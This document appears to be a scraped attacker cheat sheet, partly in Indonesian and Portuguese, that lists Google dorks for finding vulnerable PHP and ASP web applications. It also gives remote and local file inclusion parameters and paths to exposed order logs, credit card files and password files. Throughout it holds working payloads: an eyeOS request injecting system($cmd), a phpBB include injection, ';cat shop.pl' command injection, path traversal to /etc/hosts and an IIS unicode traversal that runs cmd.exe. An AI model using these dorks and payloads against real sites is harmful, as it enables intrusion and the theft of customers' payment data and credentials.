    /index.php?babInstallPath=

    /main.php?body=

    /index.php?z=

    /main.php?view=

    /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

    /index.php?file=

    /modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

    1. allinurl:my_egallery site:.org
    /modules/My_eGallery/public/displayCategory.php?basepath=

    2. allinurl:xgallery site:.org
    /modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

    3. allinurl:coppermine site:.org
    /modules/coppermine/themes/default/theme.php?THEME_DIR=

    4. allinurl:4nAlbum site:.org
    /modules/4nAlbum/public/displayCategory.php?basepath=

    5. allinurlP:NphpBB2 site:.org
    /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

    6. allinurl:ihm.php?p=

    7. Keyword : “powered by AllMyLinks”
    /include/footer.inc.php?_AMLconfig[cfg_serverpath]=

    8. allinurl:/modules.php?name=allmyguests
    /modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

    9. allinurl:/Popper/index.php?
    /Popper/index.php?childwindow.inc.php?form=

    10. google = kietu/hit_js.php, allinurl:kietu/hit_js.php
    yahoo = by Kietu? v 3.2
    /kietu/index.php?kietu[url_hit]=

    11. keyword : “Powered by phpBB 2.0.6?
    /html&highlight=%2527.include($_GET[a]),exit.%2527&a=

    12. keyword : “powered by CubeCart 3.0.6?
    /includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

    13. keyword : “powered by paBugs 2.0 Beta 3?
    /class.mysql.php?path_to_bt_dir=

    14. allinurl:”powered by AshNews”, allinurl:AshNews atau allinurl: /ashnews.php
    /ashnews.php?pathtoashnews=

    15. keyword : /phorum/login.php
    /phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=

    16. allinurl:ihm.php?p=*

    14. keyword : “powered eyeOs”
    /eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions. eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5 beyeOptions.eyeapp%5d%5bwrapup%5d=system($cmd);&cm d=id
    diganti dengan :
    /eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions. eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5 beyeOptions.eyeapp%5d%5bwrapup%5d=include($_GET%5b a%5d);&a=

    15. allinurl:.php?bodyfile=

    16. allinurl:/includes/orderSuccess.inc.php?glob=
    /includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

    17. allinurl:forums.html
    /modules.php?name=

    18. allinurl:/default.php?page=home

    19. allinurl:/folder.php?id=

    20. allinurl:main.php?pagina=
    /paginedinamiche/main.php?pagina=

    21. Key Word: ( Nuke ET Copyright 2004 por Truzone. ) or ( allinurl:*.edu.*/modules.php?name=allmyguests ) or ( “powered by AllMyGuests”)
    /modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

    22. allinurl:application.php?base_path=
    /application.php?base_path=

    23. allinurlp:hplivehelper
    /phplivehelper/initiate.php?abs_path=

    24. allinurlp:hpnuke
    /modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

    25. key word : “powered by Fantastic News v2.1.2?
    /archive.php?CONFIG[script_path]=

    26. keyword: “powered by smartblog” AND inurl:?page=login
    /index.php?page=

    27. allinurl:/forum/
    /forum/admin/index.php?inc_conf=

    28. keyword:”Powered By FusionPHP”
    /templates/headline_temp.php?nst_inc=

    29. allinurl:shoutbox/expanded.php filetypep:hp
    /shoutbox/expanded.php?conf=

    30. allinurl: /osticket/
    /osticket/include/main.php?config[search_disp]=true&include_dir=

    31. keyword : “Powered by iUser”
    /common.php?include_path=

    32. allinurl: “static.php?load=”
    /static.php?load=

    33. keyworld : /phpcoin/login.php
    /phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=

    34. keyworld: allinurl:/phpGedview/login.php site:
    /help_text_vars.php?dir&PGV_BASE_DIRECTORY=

    35. allinurl:/folder.php?id=
    /classes.php?LOCAL_PATH=
    LFI

    acion=
    act=
    action=
    API_HOME_DIR=
    board=
    cat=
    client_id=
    cmd=
    cont=
    current_frame=
    date=
    detail=
    dir=
    display=
    download=
    f=
    file=
    fileinclude=
    filename=
    firm_id=
    g=
    getdata=
    go=
    HT=
    idd=
    inc=
    incfile=
    incl=
    include_file=
    include_path=
    infile=
    info=
    ir=
    lang=
    language=
    link=
    load=
    main=
    mainspot=
    msg=
    num=
    openfile=
    p=
    page=
    pagina=
    path=
    path_to_calendar=
    pg=
    plik
    qry_str=
    ruta=
    safehtml=
    section=
    showfile=
    side=
    site_id=
    skin=
    static=
    str=
    strona=
    sub=
    tresc=
    url=
    user=


inurl:"add.asp?bookid="
inurl:"add_cart.asp?num="
inurl:"addcart.asp?"
inurl:"addItem.asp"
inurl:"add-to-cart.asp?ID="
inurl:"addToCart.asp?idProduct="
inurl:"addtomylist.asp?ProdId="
inurl:"adminEditProductFields.asp?intProdID="
inurl:"advSearch_h.asp?idCategory="
inurl:"affiliate.asp?ID="
inurl:"affiliate-agreement.cfm?storeid="
inurl:"affiliates.asp?id="
inurl:"ancillary.asp?ID="
inurl:"archive.asp?id="
inurl:"article.asp?id="
inurl:"aspx?PageID"
inurl:"basket.asp?id="
inurl:"Book.asp?bookID="
inurl:"book_list.asp?bookid="
inurl:"book_view.asp?bookid="
inurl:"BookDetails.asp?ID="
inurl:"browse.asp?catid="
inurl:"browse_item_details.asp"
inurl:"Browse_Item_Details.asp?Store_Id="
inurl:"buy.asp?"
inurl:"buy.asp?bookid="
inurl:"bycategory.asp?id="
inurl:"cardinfo.asp?card="
inurl:"cart.asp?action="
inurl:"cart.asp?cart_id="
inurl:"cart.asp?id="
inurl:"cart_additem.asp?id="
inurl:"cart_validate.asp?id="
inurl:"cartadd.asp?id="
inurl:"cat.asp?iCat="
inurl:"catalog.asp"
inurl:"catalog.asp?CatalogID="
inurl:"catalog_item.asp?ID="
inurl:"catalog_main.asp?catid="
inurl:"category.asp"
inurl:"category.asp?catid="
inurl:"category_list.asp?id="
inurl:"categorydisplay.asp?catid="
inurl:"checkout.asp?cartid="
inurl:"checkout.asp?UserID="
inurl:"checkout_confirmed.asp?order_id="
inurl:"checkout1.asp?cartid="
inurl:"comersus_listCategoriesAndProducts.asp?idCategory ="
inurl:"comersus_optEmailToFriendForm.asp?idProduct="
inurl:"comersus_optReviewReadExec.asp?idProduct="
inurl:"comersus_viewItem.asp?idProduct="
inurl:"comments_form.asp?ID="
inurl:"contact.asp?cartId="
inurl:"content.asp?id="
inurl:"customerService.asp?TextID1="
inurl:"default.asp?catID="
inurl:"description.asp?bookid="
inurl:"details.asp?BookID="
inurl:"details.asp?Press_Release_ID="
inurl:"details.asp?Product_ID="
inurl:"details.asp?Service_ID="
inurl:"display_item.asp?id="
inurl:"displayproducts.asp"
inurl:"downloadTrial.asp?intProdID="
inurl:"emailproduct.asp?itemid="
inurl:"emailToFriend.asp?idProduct="
inurl:"events.asp?ID="
inurl:"faq.asp?cartID="
inurl:"faq_list.asp?id="
inurl:"faqs.asp?id="
inurl:"feedback.asp?title="
inurl:"freedownload.asp?bookid="
inurl:"fullDisplay.asp?item="
inurl:"getbook.asp?bookid="
inurl:"GetItems.asp?itemid="
inurl:"giftDetail.asp?id="
inurl:"help.asp?CartId="
inurl:"home.asp?id="
inurl:"index.asp?cart="
inurl:"index.asp?cartID="
inurl:"index.asp?ID="
inurl:"info.asp?ID="
inurl:"item.asp?eid="
inurl:"item.asp?item_id="
inurl:"item.asp?itemid="
inurl:"item.asp?model="
inurl:"item.asp?prodtype="
inurl:"item.asp?shopcd="
inurl:"item_details.asp?catid="
inurl:"item_list.asp?maingroup"
inurl:"item_show.asp?code_no="
inurl:"itemDesc.asp?CartId="
inurl:"itemdetail.asp?item="
inurl:"itemdetails.asp?catalogid="
inurl:"learnmore.asp?cartID="
inurl:"links.asp?catid="
inurl:"list.asp?bookid="
inurl:"List.asp?CatID="
inurl:"listcategoriesandproducts.asp?idCategory="
inurl:"modline.asp?id="
inurl:"myaccount.asp?catid="
inurl:"news.asp?id="
inurl:"order.asp?BookID="
inurl:"order.asp?id="
inurl:"order.asp?item_ID="
inurl:"OrderForm.asp?Cart="
inurl:"page.asp?PartID="
inurl:"payment.asp?CartID="
inurl:"pdetail.asp?item_id="
inurl:"powersearch.asp?CartId="
inurl:"privacy.asp?cartID="
inurl:"prodbycat.asp?intCatalogID="
inurl:"prodetails.asp?prodid="
inurl:"prodlist.asp?catid="
inurl:"product.asp?bookID="
inurl:"product.asp?intProdID="
inurl:"product_info.asp?item_id="
inurl:"productDetails.asp?idProduct="
inurl:"productDisplay.asp"
inurl:"productinfo.asp?item="
inurl:"productlist.asp?ViewType=Category&CategoryID= "
inurl:"productpage.asp"
inurl:"products.asp?ID="
inurl:"products.asp?keyword="
inurl:"products_category.asp?CategoryID="
inurl:"products_detail.asp?CategoryID="
inurl:"productsByCategory.asp?intCatalogID="
inurl:"prodView.asp?idProduct="
inurl:"promo.asp?id="
inurl:"promotion.asp?catid="
inurl:"pview.asp?Item="
inurl:"resellers.asp?idCategory="
inurl:"results.asp?cat="
inurl:"savecart.asp?CartId="
inurl:"search.asp?CartID="
inurl:"searchcat.asp?search_id="
inurl:"Select_Item.asp?id="
inurl:"Services.asp?ID="
inurl:"shippinginfo.asp?CartId="
inurl:"shop.asp?a="
inurl:"shop.asp?action="
inurl:"shop.asp?bookid="
inurl:"shop.asp?cartID="
inurl:"shop_details.asp?prodid="
inurl:"shopaddtocart.asp"
inurl:"shopaddtocart.asp?catalogid="
inurl:"shopbasket.asp?bookid="
inurl:"shopbycategory.asp?catid="
inurl:"shopcart.asp?title="
inurl:"shopcreatorder.asp"
inurl:"shopcurrency.asp?cid="
inurl:"shopdc.asp?bookid="
inurl:"shopdisplaycategories.asp"
inurl:"shopdisplayproduct.asp?catalogid="
inurl:"shopdisplayproducts.asp"
inurl:"shopexd.asp"
inurl:"shopexd.asp?catalogid="
inurl:"shopping_basket.asp?cartID="
inurl:"shopprojectlogin.asp"
inurl:"shopquery.asp?catalogid="
inurl:"shopremoveitem.asp?cartid="
inurl:"shopreviewadd.asp?id="
inurl:"shopreviewlist.asp?id="
inurl:"ShopSearch.asp?CategoryID="
inurl:"shoptellafriend.asp?id="
inurl:"shopthanks.asp"
inurl:"shopwelcome.asp?title="
inurl:"show_item.asp?id="
inurl:"show_item_details.asp?item_id="
inurl:"showbook.asp?bookid="
inurl:"showStore.asp?catID="
inurl:"shprodde.asp?SKU="
inurl:"specials.asp?id="
inurl:"store.asp?id="
inurl:"store_bycat.asp?id="
inurl:"store_listing.asp?id="
inurl:"Store_ViewProducts.asp?Cat="
inurl:"store-details.asp?id="
inurl:"storefront.asp?id="
inurl:"storefronts.asp?title="
inurl:"storeitem.asp?item="
inurl:"StoreRedirect.asp?ID="
inurl:"subcategories.asp?id="
inurl:"tek9.asp?"
inurl:"template.asp?Action=Item&pid="
inurl:"topic.asp?ID="
inurl:"tuangou.asp?bookid="
inurl:"type.asp?iType="
inurl:"updatebasket.asp?bookid="
inurl:"updates.asp?ID="
inurl:"view.asp?cid="
inurl:"view_cart.asp?title="
inurl:"view_detail.asp?ID="
inurl:"viewcart.asp?CartId="
inurl:"viewCart.asp?userID="
inurl:"viewCat_h.asp?idCategory="
inurl:"viewevent.asp?EventID="
inurl:"viewitem.asp?recor="
inurl:"viewPrd.asp?idcategory="
inurl:"ViewProduct.asp?misc="
inurl:"voteList.asp?item_ID="
inurl:"whatsnew.asp?idCategory="
inurl:"WsAncillary.asp?ID="

/SiteScope/cgi/go.exe/SiteScope?page=eventLog&machine=&logName=System&ac count=administrator
/super_stats/access_logs
/trafficlog
/wwwlog
/Admin_files/order.log
/bin/orders/orders.txt
/cgi/orders/orders.txt
/cgi-bin/orders/orders.txt
/cgi-sys/orders/orders.txt
/cgi-local/orders/orders.txt
/htbin/orders/orders.txt
/cgibin/orders/orders.txt
/cgis/orders/orders.txt
/scripts/orders/orders.txt
/cgi-win/orders/orders.txt
/bin/pagelog.cgi
/cgi/pagelog.cgi
/cgi-bin/pagelog.cgi
/cgi-sys/pagelog.cgi
/cgi-local/pagelog.cgi
/cgibin/pagelog.cgi
/cgis/pagelog.cgi
/scripts/pagelog.cgi
/cgi-win/pagelog.cgi
/bin/DCShop/auth_data/auth_user_file.txt
/cgi/DCShop/auth_data/auth_user_file.txt
/cgi-bin/DCShop/auth_data/auth_user_file.txt
/cgi-sys/DCShop/auth_data/auth_user_file.txt
/cgi-local/DCShop/auth_data/auth_user_file.txt
/htbin/DCShop/auth_data/auth_user_file.txt
/cgibin/DCShop/auth_data/auth_user_file.txt
/cgis/DCShop/auth_data/auth_user_file.txt
/scripts/DCShop/auth_data/auth_user_file.txt
/cgi-win/DCShop/auth_data/auth_user_file.txt
/bin/DCShop/orders/orders.txt
/cgi/DCShop/orders/orders.txt
/cgi-bin/DCShop/orders/orders.txt
/cgi-sys/DCShop/orders/orders.txt
/cgi-local/DCShop/orders/orders.txt
/htbin/DCShop/orders/orders.txt
/cgibin/DCShop/orders/orders.txt
/cgis/DCShop/orders/orders.txt
/scripts/DCShop/orders/orders.txt
/cgi-win/DCShop/orders/orders.txt
/dc/auth_data/auth_user_file.txt
/dcshop/orders/orders.txt
/dcshop/auth_data/auth_user_file.txt
/dc/orders/orders.txt
/orders/checks.txt
/orders/mountain.cfg
/cgi-bin/shopper.cgi&TEMPLATE=ORDER.LOG
/webcart/carts
/webcart-lite/orders/import.txt
/webcart/config
/webcart/config/clients.txt
/webcart/orders
/webcart/orders/import.txt
/WebShop/logs/cc.txt
/WebShop/templates/cc.txt
/bin/shop/auth_data/auth_user_file.txt
/cgi/shop/auth_data/auth_user_file.txt
/cgi-bin/shop/auth_data/auth_user_file.txt
/cgi-sys/shop/auth_data/auth_user_file.txt
/cgi-local/shop/auth_data/auth_user_file.txt
/htbin/shop/auth_data/auth_user_file.txt
/cgibin/shop/auth_data/auth_user_file.txt
/cgis/shop/auth_data/auth_user_file.txt
/scripts/shop/auth_data/auth_user_file.txt
/cgi-win/shop/auth_data/auth_user_file.txt
/bin/shop/orders/orders.txt
/cgi/shop/orders/orders.txt
/cgi-bin/shop/orders/orders.txt
/cgi-sys/shop/orders/orders.txt
/cgi-local/shop/orders/orders.txt
/htbin/shop/orders/orders.txt
/cgibin/shop/orders/orders.txt
/cgis/shop/orders/orders.txt
/scripts/shop/orders/orders.txt
/cgi-win/shop/orders/orders.txt
/bin/shop.pl/page=;cat%20shop.pl
/cgi/shop.pl/page=;cat%20shop.pl
/cgi-bin/shop.pl/page=;cat%20shop.pl
/cgi-sys/shop.pl/page=;cat%20shop.pl
/cgi-local/shop.pl/page=;cat%20shop.pl
/htbin/shop.pl/page=;cat%20shop.pl
/cgibin/shop.pl/page=;cat%20shop.pl
/cgis/shop.pl/page=;cat%20shop.pl
/scripts/shop.pl/page=;cat%20shop.pl
/cgi-win/shop.pl/page=;cat%20shop.pl
/webcart-lite/orders/import.txt
/bin/cart.pl
/cgi/cart.pl
/cgi-bin/cart.pl
/cgi-sys/cart.pl
/cgi-local/cart.pl
/htbin/cart.pl
/cgibin/cart.pl
/scripts/cart.pl
/cgi-win/cart.pl
/cgis/cart.pl
/bin/cart.pl
/cgi/cart.pl
/cgi-bin/cart.pl
/cgi-sys/cart.pl
/cgi-local/cart.pl
/htbin/cart.pl
/cgibin/cart.pl
/cgis/cart.pl
/scripts/cart.pl
/cgi-win/cart.pl
/bin/cart32.exe
/cgi/cart32.exe
/cgi-bin/cart32.exe
/cgi-sys/cart32.exe
/cgi-local/cart32.exe
/htbin/cart32.exe
/cgibin/cart32.exe
/cgis/cart32.exe
/scripts/cart32.exe
/cgi-win/cart32.exe
/cgi-bin/www-sql;;;
/server%20logfile;;;
/cgi-bin/pdg_cart/order.log
/cgi-bin/shopper.exe?search
/orders/order.log
/orders/import.txt
/orders/checks.txt
/orders/orders.txt
/Orders/order.log
/order/order.log
/WebShop/logs/ck.log
/WebShop/logs/cc.txt
/WebShop/templates/cc.txt
/_private/orders.txt
/_private/orders.htm
/orders/mountain.cfg
/PDG_Cart/shopper.config
/Admin_files/order.log
/mall_log_files/order.log
/PDG_Cart/order.log
/cgi-bin/UltraBoard/UltraBoard.cgi?Action=PrintableTopic&Post=../../UBData/Members/members.grp&Board=6210&Idle=10&Sort=0&Order=Des cend&Page=0&Session=;;;
/_private/shopping_cart.mdb
/cgi-bin/shopper.cgi
/cgi-bin/shop.cgi
/cgi-bin/perlshop.cgi
/cgi-bin/mall2000.cgi
/log/
/logfile/
/logfiles/
/logger/
/logging/
/logs/
/logs/access_log
/weblog/
/weblogs/
/cgi-bin/loadpage.cgi
/database/
/databases/
/cgi-bin/Web_Store/web_store.cgi
/scripts/cart32.exe
/scripts/c32web.exe
/cgi-bin/shopper?search=action&keywords=dhenzuser%20&templa te=order.log
/cgi-bin/DCShop/Orders/orders.txt
/cgi-bin/ezmall2000/mall2000.cgi
/cgi-bin/DCShop/Orders/orders.txt
/cgi-bin/DCShop/Auth_data/auth_user_file.txt
/cgi-bin/DCShop/Orders/orders.txt
/cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.loghtml
/cgi-local/medstore/loadpage.cgi?user_id=id&file=data/orders.txt
/cgi-bin/shopper/cheddar/loadpage.cgi?user_id=id&file=data/db.txt
/cgi-bin/cart32/whatever-OUTPUT.txt
/cgi-bin/shopper.cgi?search=action&keywords=root%20&templat e=order.log
/cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.loghtml
/cgi-bin/shopper/cheddar/loadpage.cgi?user_id=id&file=data/db.txt;CC
/derbyteccgi/shopper.cgi?key=SC7021&preadd=action&template=orde r.log
/derbyteccgi/shopper.cgi?search=action&keywords=moron&template= order.log
/cgi-bin/webcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;c at%20../../webcart/system/orders/orders.txt|&CODE=PHOLD;;;
/ccbill/secure/ccbill.log
/cgibin/shopper.cgi?search=action&keywords=moron&template= order.csv
/order13.txt
/cgi-bin/loadpage.cgi?user_id=id&file=data/db.txtcgi-bin/PDG_Cart/order.log
/cgi-bin/shopper.cgi?search=action&keywords=whinhall&templa te=order.log
/orders/db/zzzbizorders.log.html
/cgi-bin/Shopper.exe?search=action&keywords=psiber%20&templ ate=other
isinglogorder.log
/cgi-bin/shopper.exe?search=action&keywords=psiber&template =order.log
/cgi-bin/shopper.exe?preadd=action&key=9461&template=order. log
/cgi-bin/shopper.exe?preadd=action&key=bajk390ss&template=o rder.log
/cgi-bin/shop.cgi/page=../../../../etc/hosts
/cgi-bin/cart32/CART32-order.txt
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:
/cgi-bin/mailview.cgi?cmd=view&fldrname=inbox&select=1&html
/cgi-bin/cart32.ini
/cgi-bin/cart32.exe/cart32clientlist
/cgi-bin/cart32.exe/error
/metacart/database/metacart.mdb
//shopping/database/metacart.mdb
/shopping/database/metacart.mdb
/fpdb/shop.mdb
/cgi-bin/shopper.cgi?keywords=usstick&search=action&templat e=order.log
/cgi-bin/shopper.cgi?display=action&template=order.log
/cgi-bin/shopper.exe?key=8360&preadd=action&template=order. log
/cgi-bin/shopper.exe?key=8360&preadd=action&template=sales. log
/cgi-bin/shopper.exe?key=8360&preadd=action&template=sell.l og
/cgi-bin/shopper.exe?key=8360&preadd=action&template=admin. log
/cgi-bin/shopper.exe?key=8360&preadd=action&template=admin_ files.log
/cgi-bin/shopper.cgi?keywords=usstick&search=action&templat e=order.log
/cgi-bin/shopper.cgi?keywords=psiber&search=action&template =order.log
/cgi-bin/shopper.cgi?keywords=9461&search=action&template=o rder.log
/cgi-bin/shopper.cgi?keywords=SC7021&search=action&template =order.log
/cgi-bin/shopper.cgi?keywords=cc&search=action&template=ord er.log
/cgi-bin/shopper.cgi?keywords=order&search=action&template= order.log
/cgi-bin/shopper.cgi?display=action&template=order.log
/cgi-bin/shopper.cgi?search=action&keywords=moron%20&templa te=shopper.conf
/Merchant2/modules/log/elf.mv?search=action&ORDERLOG.txt
/Merchant2/modules/log/malf.mv?search=action&ORDERLOG.txt
/cgi-bin/shopper.exe?search=action&keywords=CD006&template= sales.log
/cgi-bin/shopper.exe?search=action&keywords=***&template=se ll.log
/cgi-bin/shopper.exe?search=action&keywords=order&template= admin.log
/cgi-bin/shopper.exe?search=action&keywords=cc&template=adm in_files.log
/cgi-bin/shopper.exe?search=action&keywords=hack&template=o rder.log
/cgi-bin/shopper.exe?search=action&keywords=9400&template=o rder.log
/cgi-bin/shopper.exe?search=action&keywords=psiber&template =order.log
/cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.loghtml
/cgi-bin/shopper.cgi?search=action&keywords=root%20&templat e=order.log
/cgi-bin/shopper.exe?preadd=action&key=9461&template=order. log
/derbyteccgi/shopper.cgi?key=SC7021&preadd=action&template=orde r.log
/cgi-bin/cart32/mainframephotographics-ORDERS.txt
/cgi-bin/shopper.cgi&TEMPLATE=ORDER.LOG
/stats/08-hosts.htm&TEMPLATE=ORDER.LOG
/worlddirect/Web_store/Admin_files/order.log
/website/
/WebShop/templates/cc.txt
/WebShop/logs/ck.log
/WebShop/logs/cc.txt
/WebShop/logs/
/WebShop/
/WebCart/orders.txt
/webcart/
/Web_store/Admin_files/order.log
/STORE/orders.txt
/stats/08-hosts.htm&TEMPLATE=ORDER.LOG
/PSUser/PSCOErrPage.htm
/PDG_Cart/shopper.conf
/PDG_Cart/order.log
/PDG_Cart/authorizenets.txt
/PDG/order.txt
/orders/results
/Orders/orders.txt
/orders/order.log
/orders/mountain.cf
/orders/import.txt
/orders/import.txt
/orders/checks.txt
/orders/
/orders.txt
/orders.htm
/orderform/orders.txt
/order.txt
/derbyteccgi/shopper.cgi?key=SC7021&preadd=action&template=orde r.log
/cgi-local/medstore/loadpage.cgi?user_id=id&file=data/orders.txt
/cgi-bin/shopper.exe?search=action&keywords=%20&template=sh opper.conf
/cgi-bin/shopper.exe
/cgi-bin/shopper.cgi&TEMPLATE=ORDER.LOG
/cgi-bin/perlshop.cgi
/cgi-bin/PDG_Cart/cc.log
/cgi-bin/orders/mc.txt
/cgi-bin/orders/cc.txt
/cgi-bin/orders.txt
/cgi-bin/orderlog.txt
/cgi-bin/loadpage.cgi?user_id=id&file=data/db.txt
/cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.loghtml
/cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.loghtm
/cgi-bin/ezmall2000/mall_log_files/order.log
/cgi-bin/cart32/mainframephotographics-ORDERS.txt
/cgi-bin/cart32/CART32-order.txt
/cgi-bin/cart.pl
/ASPSamp/AdvWorks/equipment/catalog_type.asp
/AdvWorks/equipment/catalog_type.asp
/Admin_files/order.log
/admin/Orders/orders.txt 

Strings Variadas Password,SQL,CAN's,ADM,Erros data base.

Vulnerabilidades

comment:advisories and vulnerabilities*-----

"1999-2004 FuseTalk Inc" -site:fusetalk.com

"2003 DUware All Rights Reserved"

"Active Webcam Page" inurl:8080

"BlackBoard 1.5.1-f | © 2003-4 by Yves Goergen"

"BosDates Calendar System " "powered by BosDates v3.2 by BosDev"

"Copyright © 2002 Agustin Dondo Scripts"

"delete entries" inurl:admin/delete.asp

"driven by: ASP Message Board"

"Enter ip" inurl:"php-ping.php"

"IceWarp Web Mail 5.3.0" "Powered by IceWarp"

"Ideal BB Version: 0.1" -idealbb.com

"inurl:/site/articles.asp?idcategory="

"Obtenez votre forum Aztek" -site:forum-aztek.com

"Online Store - Powered by ProductCart"

"Powered *: newtelligence" ("dasBlog 1.6"| "dasBlog 1.5"| "dasBlog 1.4"|"dasBlog 1.3")

"Powered by A-CART"

"Powered by AJ-Fork v.167"

"powered by antiboard"

"Powered by Coppermine Photo Gallery"

"Powered by CubeCart"

"Powered by DCP-Portal v5.5"

"Powered by DMXReady Site Chassis Manager" -site:dmxready.com

"Powered by FUDforum"

"Powered by Gallery v1.4.4"

"Powered by IceWarp Software" inurl:mail

"Powered by Ikonboard 3.1.1"

"Powered by Megabook *" inurl:guestbook.cgi

"Powered by MercuryBoard [v1"

"powered by minibb" -site:www.minibb.net -intext:1.7f

"Powered by My Blog" intext:"FuzzyMonkey.org"

"Powered by ocPortal" -demo -ocportal.com

"powered by phpWebSite" 0.9-3-2...4

"Powered by PowerPortal v1.3"

"powered by vbulletin 3.0"

"Powered by WordPress" -html filetype:php -demo -wordpress.org -bugtraq

"Powered by WowBB" -site:wowbb.com

"Powered by YaPig V0.92b"

"Powered by yappa-ng"

"running: Nucleus v3.1" -.nucleuscms.org -demo

"SquirrelMail version 1.4.4" inurl:src ext:php

"This page has been automatically generated by Plesk Server Administrator"

+"Powered by Invision Power Board v2.0.0..2"

+"Powered by phpBB 2.0.6..10" -phpbb.com -phpbb.pl

inurl:"dispatch.php?atknodetype" | inurl:class.at -----Achievo webbased project management-----

allintitle:aspjar.com guestbook

inurl:"/becommunity/community/index.php?pageurl=" -----E-market remote code execution-----

inurl:custva.asp -----EarlyImpact Productcart-----

ext:php intext:"Powered by phpNewMan Version"

ext:pl inurl:cgi intitle:"FormMail *" -"*Referrer" -"* Denied" -sourceforge -error -cvs -input

filetype:cgi inurl:nbmember.cgi

filetype:cgi inurl:pdesk.cgi

filetype:cgi inurl:tseekdir.cgi

filetype:php inurl:index.php inurl:"module=subjects" inurl:"func=*" (listpages| viewpage | listcat)

intext:("UBB.threads™ 6.2"|"UBB.threads™ 6.3") intext:"You * not logged *" -site:ubbcentral.com

intitle:"EMUMAIL - Login" "Powered by EMU Webmail"

intitle:"MRTG/RRD" 1.1* (inurl:mrtg.cgi | inurl:14all.cgi |traffic.cgi)

intitle:"View Img" inurl:viewimg.php

intitle:"WebJeff - FileManager" intext:"login" intext:Pass|PAsse

intitle:"WordPress > * > Login form" inurl:"wp-login.php"

intitle:guestbook "advanced guestbook 2.2 powered"

intitle:welcome.to.horde

inurl:"/cgi-bin/loadpage.cgi?user_id="

inurl:"/site/articles.asp?idcategory="

inurl:"comment.php?serendipity"

inurl:"messageboard/Forum.asp?"

inurl:"slxweb.dll"

inurl:/SiteChassisManager/

inurl:cal_make.pl

inurl:citrix/metaframexp/default/login.asp? ClientDetection=On

inurl:comersus_message.asp

inurl:directorypro.cgi

inurl:gotoURL.asp?url=

inurl:technote inurl:main.cgi*filename=*

inurl:ttt-webmaster.php

inurl:wiki/MediaWiki

"Powered by Invision Power Board(U) v1.3 Final" -----Invision Power Board SSI.PHP SQL Injection-----

"Powered by mnoGoSearch - free web search engine software" -----nGoSearch vulnerability-----

"FC Bigfeet" -inurl:mail -----Quicksite demopages for Typo3-----

inurl:com_remository -----ReMOSitory module for Mambo-----

uploadpics.php?did= -forumintext:Generated.by.phpix.1.0? inurl:$mode=album

"Powered by: vBulletin * 3.0.1" inurl:newreply.php -----vBulletin version 3.0.1 newreply.php XSS-----

filetype:asp inurl:"shopdisplayproducts.asp" -----VP-ASP Shopping Cart XSS-----

inurl:/cgi-bin/index.cgi inurl:topics inurl:viewcat= +intext:"WebAPP" -site:web-app.org -----WebAPP directory traversal-----

  Arquivos com senha

comment:Files containing passwords***-----

"# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users)

"# -FrontPage-" inurl:service.pwd

"AutoCreate=TRUE password=*"

"http://*:*@www" domainname

"index of/" "ws_ftp.ini" "parent directory"

"liveice configuration file" ext:cfg -site:sourceforge.net

"powered by ducalendar" -site:duware.com

"Powered by Duclassified" -site:duware.com

"Powered by Duclassified" -site:duware.com "DUware All Rights reserved"

"powered by duclassmate" -site:duware.com

"Powered by Dudirectory" -site:duware.com

"powered by dudownload" -site:duware.com

"Powered By Elite Forum Version *.*"

"Powered by Link Department"

"sets mode: +k"

"Powered by DUpaypal" -site:duware.com

allinurl: admin mdb

auth_user_file.txt

config.php

eggdrop filetype:user user

etc (index.of)

ext:ini eudora.ini

ext:ini Version=4.0.0.4 password

filetype:bak inurl:"htaccess|passwd|shadow|htusers"

filetype:cfg mrtg "target[*]" -sample -cvs -example

filetype:cfm "cfapplication name" password

filetype:conf oekakibbs

filetype:conf sc_serv.conf

filetype:conf slapd.conf

filetype:config config intext:appSettings "User ID"

filetype:dat "password.dat"

filetype:dat wand.dat

filetype:inc dbconn

filetype:inc intext:mysql_connect

filetype:inc mysql_connect OR mysql_pconnect

filetype:ini inurl:"serv-u.ini"

filetype:ini inurl:flashFXP.ini

filetype:ini ServUDaemon

filetype:ini wcx_ftp

filetype:ini ws_ftp pwd

filetype:ldb admin

filetype:log "See `ipsec --copyright"

filetype:log inurl:"password.log"

filetype:mdb inurl:users.mdb

filetype:mdb wwforum

filetype:netrc password

filetype:pass pass intext:userid

filetype:pem intext:private

filetype:properties inurl:db intext:password

filetype:pwd service

filetype:pwl pwl

filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword"

filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS

filetype:sql ("values * MD5" | "values * password" | "values * encrypt")

filetype:sql ("passwd values" | "password values" | "pass values" )

filetype:sql +"IDENTIFIED BY" -cvs

filetype:sql password

filetype:url +inurl:"ftp://" +inurl:";@"

filetype:xls username password email

htpasswd

htpasswd / htgroup

htpasswd / htpasswd.bak

intext:"enable secret 5 $"

intext:"powered by Web Wiz Journal"

intitle:"index of" intext:connect.inc

intitle:"index of" intext:globals.inc

intitle:"Index of" passwords modified

intitle:dupics inurl:(add.asp | default.asp | view.asp | voting.asp) -site:duware.com

intitle:index.of administrators.pwd

intitle:Index.of etc shadow

intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak"

inurl:"GRC.DAT" intext:"password"

inurl:"slapd.conf" intext:"credentials" -manpage -"Manual Page" -man: -sample

